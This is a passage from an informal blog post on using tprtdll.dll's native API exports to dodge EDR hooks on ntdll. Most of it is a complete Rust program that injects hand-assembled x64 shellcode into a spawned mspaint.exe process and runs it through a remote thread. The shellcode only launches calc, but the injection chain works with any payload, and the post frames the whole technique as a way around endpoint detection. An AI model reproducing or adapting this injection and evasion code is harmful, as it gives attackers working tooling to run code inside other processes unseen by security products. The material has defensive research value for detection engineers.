Legal disclaimer: this shit is only for educational purposes i am not held responsible for any misuse god forbid
2- ZwProtectVirtualMemory
it is supposed to be there but because i am running windows 10 i had to download the dll from here https://msdl.microsoft.com/download/symbols/tprtdll.dll/B2ECD6DB72000/tprtdll.dll which probably differs from the build the researcher has
3- RtlCreateUserThread
so far this chain of NtAllocateVirtualMemoryEx -> memcpy ZwProtectVirtualMemory -> RtlCreateUserThread
is pretty enough for self injection
But for remote injection to be using tprtdll purely the only problem is that WriteProcessMemory is not there in tprtdll
so the only possible way to call it, is from kernel32
and here is the demo:
yay
and ofcourse here is the rust port:
//Build: rustc -O better_ntdll.rs (target: x86_64-pc-windows-msvc)
#![allow(non_snake_case, non_camel_case_types, clippy::missing_safety_doc)]
use std::ffi::{c_void, CString};
use std::mem::{size_of, transmute_copy, zeroed};
use std::ptr;
type NTSTATUS = i32;
type HANDLE = *mut c_void;
type PVOID = *mut c_void;
type HMODULE = *mut c_void;
type BOOL = i32;
type BOOLEAN = u8;
type ULONG = u32;
type DWORD = u32;
type WORD = u16;
const MEM_COMMIT: ULONG = 0x1000;
const MEM_RESERVE: ULONG = 0x2000;
const PAGE_READWRITE: ULONG = 0x04;
const PAGE_EXECUTE_READ: ULONG = 0x20;
#[repr(C)]
#[derive(Default)]
struct CLIENT_ID {
unique_process: PVOID,
unique_thread: PVOID,
}
#[repr(C)]
struct STARTUPINFOA {
cb: DWORD,
lp_reserved: *mut u8,
lp_desktop: *mut u8,
lp_title: *mut u8,
dw_x: DWORD,
dw_y: DWORD,
dw_x_size: DWORD,
dw_y_size: DWORD,
dw_x_count_chars: DWORD,
dw_y_count_chars: DWORD,
dw_fill_attribute: DWORD,
dw_flags: DWORD,
w_show_window: WORD,
cb_reserved2: WORD,
lp_reserved2: *mut u8,
h_std_input: HANDLE,
h_std_output: HANDLE,
h_std_error: HANDLE,
}
#[repr(C)]
#[derive(Default)]
struct PROCESS_INFORMATION {
h_process: HANDLE,
h_thread: HANDLE,
dw_process_id: DWORD,
dw_thread_id: DWORD,
}
type FnNtAllocateVirtualMemoryEx = unsafe extern "system" fn(
HANDLE, *mut PVOID, *mut usize, ULONG, ULONG, PVOID, ULONG,
) -> NTSTATUS;
type FnZwProtectVirtualMemory = unsafe extern "system" fn(
HANDLE, *mut PVOID, *mut usize, ULONG, *mut ULONG,
) -> NTSTATUS;
type FnRtlCreateUserThread = unsafe extern "system" fn(
HANDLE, PVOID, BOOLEAN, ULONG, *mut usize, *mut usize, PVOID, PVOID,
*mut HANDLE, *mut CLIENT_ID,
) -> NTSTATUS;
extern "system" {
fn LoadLibraryA(name: *const u8) -> HMODULE;
fn GetProcAddress(module: HMODULE, name: *const u8) -> *const c_void;
fn GetModuleHandleA(name: *const u8) -> HMODULE;
fn GetLastError() -> DWORD;
fn CreateProcessA(
app_name: *const u8, cmdline: *mut u8, proc_attr: PVOID, thread_attr: PVOID,
inherit: BOOL, flags: DWORD, env: PVOID, dir: *const u8,
si: *mut STARTUPINFOA, pi: *mut PROCESS_INFORMATION,
) -> BOOL;
fn Sleep(ms: DWORD);
fn WriteProcessMemory(
process: HANDLE, base: PVOID, buf: *const u8, size: usize, written: *mut usize,
) -> BOOL;
fn WaitForSingleObject(handle: HANDLE, ms: DWORD) -> DWORD;
fn GetExitCodeThread(handle: HANDLE, exit_code: *mut DWORD) -> BOOL;
fn TerminateProcess(handle: HANDLE, exit_code: ULONG) -> BOOL;
fn CloseHandle(handle: HANDLE) -> BOOL;
}
fn nt_success(st: NTSTATUS) -> bool {
st >= 0
}
unsafe fn resolve<T>(module: HMODULE, name: &str) -> Option<T> {
let cname = CString::new(name).ok()?;
let raw = GetProcAddress(module, cname.as_ptr() as *const u8);
if raw.is_null() { None } else { Some(transmute_copy::<*const c_void, T>(&raw)) }
}
// x64 PIC (47 bytes): WinExec("calc", SW_SHOWNORMAL) then ExitThread(0)
unsafe fn build_shellcode(buf: &mut [u8; 64]) -> Option<usize> {
let kernel32 = GetModuleHandleA(b"kernel32.dll\0".as_ptr());
if kernel32.is_null() {
return None;
}
let win_exec = GetProcAddress(kernel32, b"WinExec\0".as_ptr()) as usize;
let exit_thread = GetProcAddress(kernel32, b"ExitThread\0".as_ptr()) as usize;
if win_exec == 0 || exit_thread == 0 {
return None;
}
let mut sc: Vec<u8> = vec![
0x48, 0x83, 0xEC, 0x28, // sub rsp, 0x28
0x48, 0x8D, 0x0D, 0x1F, 0x00, 0x00, 0x00, // lea rcx, [rip+0x1F] -> "calc\0"
0xBA, 0x01, 0x00, 0x00, 0x00, // mov edx, 1
0x48, 0xB8, 0, 0, 0, 0, 0, 0, 0, 0, // movabs rax, WinExec
0xFF, 0xD0, // call rax
0x33, 0xC9, // xor ecx, ecx
0x48, 0xB8, 0, 0, 0, 0, 0, 0, 0, 0, // movabs rax, ExitThread
0xFF, 0xD0, // call rax
b'c', b'a', b'l', b'c', 0,
];
sc[18..26].copy_from_slice(&win_exec.to_le_bytes());
sc[32..40].copy_from_slice(&exit_thread.to_le_bytes());
if sc.len() > buf.len() {
return None;
}
buf[..sc.len()].copy_from_slice(&sc);
Some(sc.len())
}
fn main() {
unsafe {
let tprt = LoadLibraryA(b"tprtdll.dll\0".as_ptr());
if tprt.is_null() {
println!("tprtdll.dll not found (need Win11 26100+)");
std::process::exit(1);
}
let alloc_ex: FnNtAllocateVirtualMemoryEx = match resolve(tprt, "NtAllocateVirtualMemoryEx") {
Some(f) => f,
None => { println!("missing NtAllocateVirtualMemoryEx"); std::process::exit(1); }
};
let protect: FnZwProtectVirtualMemory = match resolve(tprt, "ZwProtectVirtualMemory") {
Some(f) => f,
None => { println!(" missing ZwProtectVirtualMemory"); std::process::exit(1); }
};
let create_thread: FnRtlCreateUserThread = match resolve(tprt, "RtlCreateUserThread") {
Some(f) => f,
None => { println!(" missing RtlCreateUserThread"); std::process::exit(1); }
};
let ntdll = GetModuleHandleA(b"ntdll.dll\0".as_ptr());
println!("comparision");
println!(" NtAllocateVirtualMemoryEx tprt={:p} ntdll={:p}",
alloc_ex as *const (),
GetProcAddress(ntdll, b"NtAllocateVirtualMemoryEx\0".as_ptr()));
println!(" ZwProtectVirtualMemory tprt={:p} ntdll={:p}",
protect as *const (),
GetProcAddress(ntdll, b"ZwProtectVirtualMemory\0".as_ptr()));
println!(" RtlCreateUserThread tprt={:p} ntdll={:p}",
create_thread as *const (),
GetProcAddress(ntdll, b"RtlCreateUserThread\0".as_ptr()));
let mut si: STARTUPINFOA = zeroed();
si.cb = size_of::<STARTUPINFOA>() as DWORD;
let mut pi: PROCESS_INFORMATION = zeroed();
let mut cmdline = b"mspaint.exe\0".to_vec();
if CreateProcessA(ptr::null(), cmdline.as_mut_ptr(), ptr::null_mut(), ptr::null_mut(),
0, 0, ptr::null_mut(), ptr::null(), &mut si, &mut pi) == 0 {
println!("CreateProcess(mspaint) failed {}", GetLastError());
std::process::exit(1);
}
println!("\n target: mspaint.exe PID={}", pi.dw_process_id);
Sleep(2000);
let h_proc = pi.h_process;
let mut sc = [0u8; 64];
let sc_len = match build_shellcode(&mut sc) {
Some(n) => n,
None => { println!("shellcode build failed"); std::process::exit(1); }
};
println!("shellcode {} B", sc_len);
let mut remote_base: PVOID = ptr::null_mut();
let mut region_size: usize = 0x1000;
let st = alloc_ex(h_proc, &mut remote_base, &mut region_size,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE, ptr::null_mut(), 0);
if !nt_success(st) {
println!("alloc 0x{:08X}", st as u32);
TerminateProcess(h_proc, 0);
std::process::exit(1);
}
println!(" NtAllocateVirtualMemoryEx (tprtdll) remote={:p}", remote_base);
let mut written: usize = 0;
if WriteProcessMemory(h_proc, remote_base, sc.as_ptr(), sc_len, &mut written) == 0 {
println!(" WriteProcessMemory failed {}", GetLastError());
TerminateProcess(h_proc, 0);
std::process::exit(1);
}
println!(" WriteProcessMemory (kernel32) {} B", written);
let mut p_base = remote_base;
let mut p_size: usize = 0x1000;
let mut old_prot: ULONG = 0;
let st = protect(h_proc, &mut p_base, &mut p_size, PAGE_EXECUTE_READ, &mut old_prot);
if !nt_success(st) {
println!("protect 0x{:08X}", st as u32);
TerminateProcess(h_proc, 0);
std::process::exit(1);
}
println!(" ZwProtectVirtualMemory (tprtdll) RW->RX");
let mut h_thread: HANDLE = ptr::null_mut();
let mut cid: CLIENT_ID = zeroed();
let st = create_thread(h_proc, ptr::null_mut(), 0, 0, ptr::null_mut(), ptr::null_mut(),
remote_base, ptr::null_mut(), &mut h_thread, &mut cid);
if !nt_success(st) {
println!("thread 0x{:08X}", st as u32);
TerminateProcess(h_proc, 0);
std::process::exit(1);
}
println!("RtlCreateUserThread (tprtdll) remote TID={}", cid.unique_thread as usize);
WaitForSingleObject(h_thread, 5000);
let mut exit_code: DWORD = 0;
GetExitCodeThread(h_thread, &mut exit_code);
CloseHandle(h_thread);
CloseHandle(h_proc);
CloseHandle(pi.h_thread);
println!("remote thread exit={}\n", exit_code);
}
}
Conclusion:
ofcourse this is not magical because simply all this takes is waiting till edrs begin to monitor calls to the apis exported by this dll and this is over
if you want to truly bypass the edr inline hooks by design and having legit callstack go back to my article named covert ntapi and watch the demo and read the source code to understand how it is done till i feel like it and do a writeup
thx < 3